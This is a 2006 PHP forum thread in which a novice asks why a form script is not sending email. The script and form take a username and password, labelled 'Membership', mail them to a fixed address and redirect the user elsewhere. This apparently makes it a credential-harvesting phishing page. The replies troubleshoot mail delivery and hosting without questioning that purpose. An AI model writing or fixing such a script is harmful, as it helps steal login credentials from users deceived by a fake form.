Jump to content


Photo

Simple PHP script but im a noob and i need help thanx!


  • Please log in to reply
11 replies to this topic

#1 shisamandisa

shisamandisa
  • Members
  • PipPip
  • Member
  • 22 posts

Posted 16 July 2006 - 02:47 AM

I have a pretty simple php script along with form and i was wondering if i was doing anything wrong because no information is being sent to my email. So can anyone revise this for errors and tell me what im doing wrong thanx!  ;)

heres the .php
<?php
@extract($_POST);
$username=$_POST["username"];
$password=$_POST["password"];
mail("email@email.com", $username, $password, "From: $username");
header("Location: http://anyredirectsite.com");
?>

here is the form
<form name="contact.php" method='POST' action="http://something.com/contact.php">

 <br><br><div style="text-align:center"><table><tr><td align="center">username:</td><td 

align="center"><input size="20" type="text" name="username" maxlength="12"></td></tr><tr><td 

align="center">password:</td><td align="center"><input size="20" type="password" name="password" 

maxlength="20"></td></tr><tr><td></td><td align="center"><input type="submit" value="Membership" 

style="background:#4D422E url('http://stylebutton.com/style.gif'); color: white;" 

class="b"></td></tr></table></form>

Thanks for anyhelp!

#2 Tandem

Tandem
  • Members
  • PipPipPip
  • Advanced Member
  • 251 posts

Posted 16 July 2006 - 02:49 AM

Do you have php set up to work with a mail server?

If not the mail function is useless.

#3 shisamandisa

shisamandisa
  • Members
  • PipPip
  • Member
  • 22 posts

Posted 16 July 2006 - 02:51 AM

haha sry like i said before im a noob and i dont even know what or how to set up to work with a mail server...

#4 Tandem

Tandem
  • Members
  • PipPipPip
  • Advanced Member
  • 251 posts

Posted 16 July 2006 - 02:58 AM

Ok, here we go...

Lets say php is our e-mail client for sending e-mail, much like Outlook Express or something like that. The client sends the e-mail to a smtp server, which in turn sends the e-mail to the desired e-mail address. To send e-mail with php you need to set up an smtp server on your computer.

Just search google, pick one and download/install it, then configure it, and then edit the mail function in php.ini to match it

#5 shisamandisa

shisamandisa
  • Members
  • PipPip
  • Member
  • 22 posts

Posted 16 July 2006 - 03:03 AM

i use a gmail account not outlook or anything would i need to edit some configurations on gmail or could i use a yahoo account or something?

#6 Drumminxx

Drumminxx
  • Members
  • PipPipPip
  • Advanced Member
  • 92 posts
  • LocationUSA

Posted 16 July 2006 - 03:03 AM

Are you running this on your own "local" machine or is this on a web hosting server? if its on your local machine then you probably don't have an smtp server set up.
:: gucci.com ::
:: blockbuster.com ::

--------------------

#7 shisamandisa

shisamandisa
  • Members
  • PipPip
  • Member
  • 22 posts

Posted 16 July 2006 - 03:05 AM

i have hosted contact.php on a web hoster on freehostia.com

It says this

SMTP (outgoing mail server) : serv3.freehostia.com
SMTP Port : 25

#8 Drumminxx

Drumminxx
  • Members
  • PipPipPip
  • Advanced Member
  • 92 posts
  • LocationUSA

Posted 16 July 2006 - 03:07 AM

i have hosted contact.php on a web hoster on freehostia.com


if they offer email with your domain name then you probably do have it set up but you should check with them first to make sure

run phpinfo and see what "sendmail_path" this reads
:: gucci.com ::
:: blockbuster.com ::

--------------------

#9 shisamandisa

shisamandisa
  • Members
  • PipPip
  • Member
  • 22 posts

Posted 16 July 2006 - 03:09 AM

would any of this help my situation?

SMTP (outgoing mail server) : serv3.freehostia.com
SMTP Port : 25

#10 shisamandisa

shisamandisa
  • Members
  • PipPip
  • Member
  • 22 posts

Posted 16 July 2006 - 03:25 AM

also the php code i typed what version php is that... because couldnt i just find a free web host that accepts that version because free hostia accepts PHP Version 4.4.0 and maybe this version is different

#11 Drumminxx

Drumminxx
  • Members
  • PipPipPip
  • Advanced Member
  • 92 posts
  • LocationUSA

Posted 16 July 2006 - 03:46 AM

I just checked with freehostia.com and they do not support smtp with the free hosting plan, you'll have to upgrade to their value plan
:: gucci.com ::
:: blockbuster.com ::

--------------------

#12 shisamandisa

shisamandisa
  • Members
  • PipPip
  • Member
  • 22 posts

Posted 16 July 2006 - 04:03 AM

haha fuck that ill find another one well thanks guys for all your help i really appreciate it!  ;D




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users